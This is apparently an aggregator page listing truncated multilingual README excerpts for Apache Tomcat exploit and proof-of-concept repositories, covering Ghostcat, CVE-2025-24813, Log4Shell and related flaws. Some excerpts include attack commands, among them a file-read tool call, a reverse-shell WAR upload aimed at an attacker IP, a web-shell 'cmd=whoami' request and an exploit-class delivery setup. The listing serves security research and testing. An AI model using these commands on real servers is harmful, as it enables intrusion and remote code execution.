CVE-2011-1571

CVE-2011-1571 摘要 当使用 Apache Tomcat 时，Liferay Portal Community Edition CE 5.x 和 6.x（6.0.6 GA 之前版本）中的 XSL Content portlet 存在未指定的漏洞，允许远程攻击者通过未知向量执行任意命令。 CVE 详情 : https://www.cvedetails.com/cve/CVE-2011-1571/ PoC : http://xhe.myxwiki.org/xwiki/bin/view/XSLT/ApplicationLiferay Metasploit :...

CVE-2019-0232

漏洞环境 root@kitploit: Tomcat 8.5.39 Jdk 8u121 编辑 web.xml 文件 root@kitploit: cgi org.apache.catalina.servlets.CGIServlet debug 0 cgiPathPrefix WEB-INF/cgi-bin executable 5 cgi /cgi-bin/ 编辑 content.xml 文件 root@kitploit: WEB-INF/web.xml $catalina.base/conf/web.xml !--...

CVE-2020-1938

CVE-2020-1938 このツールはセキュリティ研究および内部監査専用です。不正攻撃に使用することは禁止されており、その結果は利用者の責任となります。 apache-tomcat-8.5.32.zip テスト用tomcat 任意ファイル読み取り root@kitploit: java -jar 1.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 file /index.jsp ファイルインクルード root@kitploit: java -jar 1.jar...

CVE-2020-1938

CVE-2020-1938 해당 CVE-2020-1938은 https://github.com/Hancheng-Lei/Hacking-Vulnerability-CVE-2020-1938-Ghostcat.git의 PoC의 오류를 수정하였으며 Apache Tomcat/8.0.43 버전에서의 동작을 확인하였습니다. 실습 방법 1. docker-compose.yml 생성 2. docker compose up -d 3. python3 CVE-2020-1938.py -p 8009 -f WEB-INF/web.xml 최종 결과...

warsend

WARSend Apache Tomcat Manager API を使用した WAR シェルアップロード 前提条件 認証情報 Tomcat Manager への Text API アクセス root@kitploit: $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // / |/|// |//...

CVE-2025-24813-apache-tomcat

CVE-2025-24813 Nuclei 템플릿 CVE-2025–24813 root@kitploit: nuclei -l list.txt -t CVE-2025–24813.yaml 셸 실행 root@kitploit: http://target.com/updates.jsp?cmd=whoami...

tomcat-cve-2017-12617

Tomcat CVE-2017-12617 エクスプロイト/PoC Apache Tomcat 9.0.1 Beta / 8.5.23 / 8.0.47 / 7.0.8 - JSP アップロードバイパス / リモートコード実行 Python3 用 元のスクリプトを Python 3 と互換性を持たせるために、いくつか調整を加えただけです！ 何か問題や不具合があれば、遠慮なく [email protected] までメールしてください。ご希望であれば、直接私に連絡してもらっても構いません。 メールアドレスについてとやかく言わないでください。使い捨て用として使っているので 使い方...

CVE-2020-9484-exploit

CVE-2020-9484-exploit Apache Tomcat 远程代码执行 在运行脚本之前，请根据你的文件路径修改 ysoserial 路径。 ysoserial : https://github.com/frohoff/ysoserial 更多参考 : https://www.redtimmy.com/java-hacking/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/...

CVE-2017-12615

In memory of Chia Junyuan https://packetstormsecurity.com/files/author/11924/ POC CVE-2017-12615 Windows上で動作するApache Tomcat 7.0.0から7.0.79を対象としたPOCエクスプロイトです。CVE-2017-12615 PUT JSP脆弱性。 説明: 設計上、Apache TomcatサーバーではPUTメソッドによるJSPファイルのアップロードは許可されていません。...

POC-CVE-2025-24813

CVE-2025-24813 Apache Tomcat RCE PoC CVE-2025-24813 を悪用した概念実証 PoC です。これは Apache Tomcat におけるリモートコード実行 RCE の脆弱性です。攻撃者は悪意のあるシリアライズペイロードをサーバーにアップロードし、特定の条件が満たされるとデシリアライズを介して任意のコードを実行できます。 説明 CVE-2025-24813 は、アップロードされたセッションファイルの不適切な処理とデシリアライズメカニズムを悪用する Apache Tomcat の理論上の RCE...

CVE-2025-24813-PoC-Apache-Tomcat-RCE

Apache Tomcat CVE-2025-24813 개념 증명PoC Apache Tomcat 역직렬화 취약점CVE-2025-24813에 대한 개념 증명 익스플로잇입니다. 이 도구는 공격자가 Tomcat의 세션 관리에서 안전하지 않은 역직렬화를 어떻게 악용할 수 있는지 보여줍니다. 경고 : 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 소유하지 않은 시스템에 대한 무단 사용은 불법입니다. 기능 기본안전 페이로드 및 사용자 정의 페이로드 지원 SSL/TLS 지원 선택적 인증 확인 우회 가능 색상 코드 출력으로...

yaml-payload

yaml-payload CVE-2022-1471 向けの SnakeYAML デシリアライゼーション悪用ペイロードです。artsploit/yaml-payload をベースに改良しました元は mbechler/marshalsec に基づいています。 動作内容 SnakeYAML の安全でない Yaml.load を介して読み込まれると、このペイロードは実行中のアプリケーションを乗っ取り 、"You've Been PWNED" ページに置き換えます: 1. Tomcat Valve を注入 します。実行中の Spring Boot アプリにリフレクション経由で注入し、既存のポート...

CVE-2025-46701-o

CVE-2025-46701 Tomcat CVE，由 gregk4sec 发现 公开 PoC 于 2025 年 6 月 4 日发布。...

PutScanner

🔍 PUT 目录扫描器 一款通过 HTTP PUT 方法识别可写 Web 目录的渗透测试工具，专为检测 CVE-2025-24813 （Apache Tomcat 任意文件上传漏洞）而设计。 📌 功能特性 智能协议处理 ：自动检测 HTTPS/HTTP 并支持回退 全面检测 ：测试所有常见 Tomcat 目录 两阶段验证 ：PUT + GET 双重验证以消除误报 渗透测试人员友好输出 ：彩色编码结果并附带手动验证命令 针对 CVE 优化 ：专为检测具备 CVE-2025-24813 利用前置条件的资产而优化 🚀 安装 root@kitploit: git clone...

CVE-2025-55752

CVE-2025-55752：Apache Tomcat パストラバーサル脆弱性 Dockerベースの再現環境で、Apache Tomcat 10.1.44におけるパストラバーサル脆弱性CVE-2025-55752を再現します。 概要 CVE-2025-55752は、Apache TomcatのRewriteValveコンポーネントにおけるパストラバーサル脆弱性です。URLの正規化処理の順序が不適切であることが原因です。つまり、URLの正規化がURLデコードの前に行われるため、攻撃者はURLエンコードされたパストラバーサルシーケンス（例:...

apache-tomcat-log4j

Apache Tomcat における Log4j2 CVE-2021-44228 脆弱性 POC プレビュー セットアップ Tomcat サーバーの起動 root@kitploit: git clone cd apache-tomcat-10.0.14/bin startup.bat エクスプロイトクラスの配信 root@kitploit: cd exploit py -m http.server 8888 root@kitploit: cd exploit java -cp marshalsec-0.0.3-SNAPSHOT-all.jar...

log4shell-exploitation-lab

Log4Shell エクスプロイト演習ラボ CVE-2021-44228 Log4Shell の脆弱性を、初期エクスプロイトから完全な是正レポートに至るまで、隔離されたラボ環境でエンドツーエンドで再現しました。Aditya Chaudhari との MSc コースワークのペア課題として実施し、共同レポートとしてまとめました。 実施内容 Docker コンテナ内に、脆弱性のある Log4j ベースの Tomcat Web アプリケーションを構築 エクスプロイトペイロードを生成する Python スクリプトを作成し、悪意のある LDAP サーバーとそれを配信する HTTP サーバーを起動...

Windows-Exploitation-Web-Server-Tomcat-8.5.39-CVE-2019-0232

이 저장소에는 README가 없습니다...

CVE-2025-24813-PoC

CVE-2025-24813-PoC CVE-2025-24813 影响 Apache Tomcat —— 如果使用的是存在漏洞的版本且配置严重不当，攻击者只需一次 GET 和一次 POST 即可实现 RCE。 更多信息请点击此处 此脚本来自 Yiheng An、Jun Li、Qiang Liu、Haozhe Zhang、Qi Deng 近期发布的分析文章，经修改后可接受命令、生成所有 ysoserial gadget 载荷并将其发送至目标。 分享此脚本旨在促进道德安全测试。 使用示例： root@kitploit: python3 exploit.py --command 'curl...

Tomcat-CVE-2025-31650

CVE-2025-31650 🚨 Apache Tomcat HTTP/2 DoS 취약점CVE-2025-31650에 대한 개념 증명PoC 이 스크립트는 HTTP/2를 통해 잘못된 형식의 priority 헤더를 전송하여 Apache Tomcat에서 메모리 소진 상태를 유발합니다. 🎯 영향을 받는 버전 Apache Tomcat 9.0.76 – 9.0.102 Apache Tomcat 10.1.10 – 10.1.39 Apache Tomcat 11.0.0-M2 – 11.0.5 ⚙️ 기능 ✔️ HTTP/2 지원 확인 ✔️ Server 헤더 검사...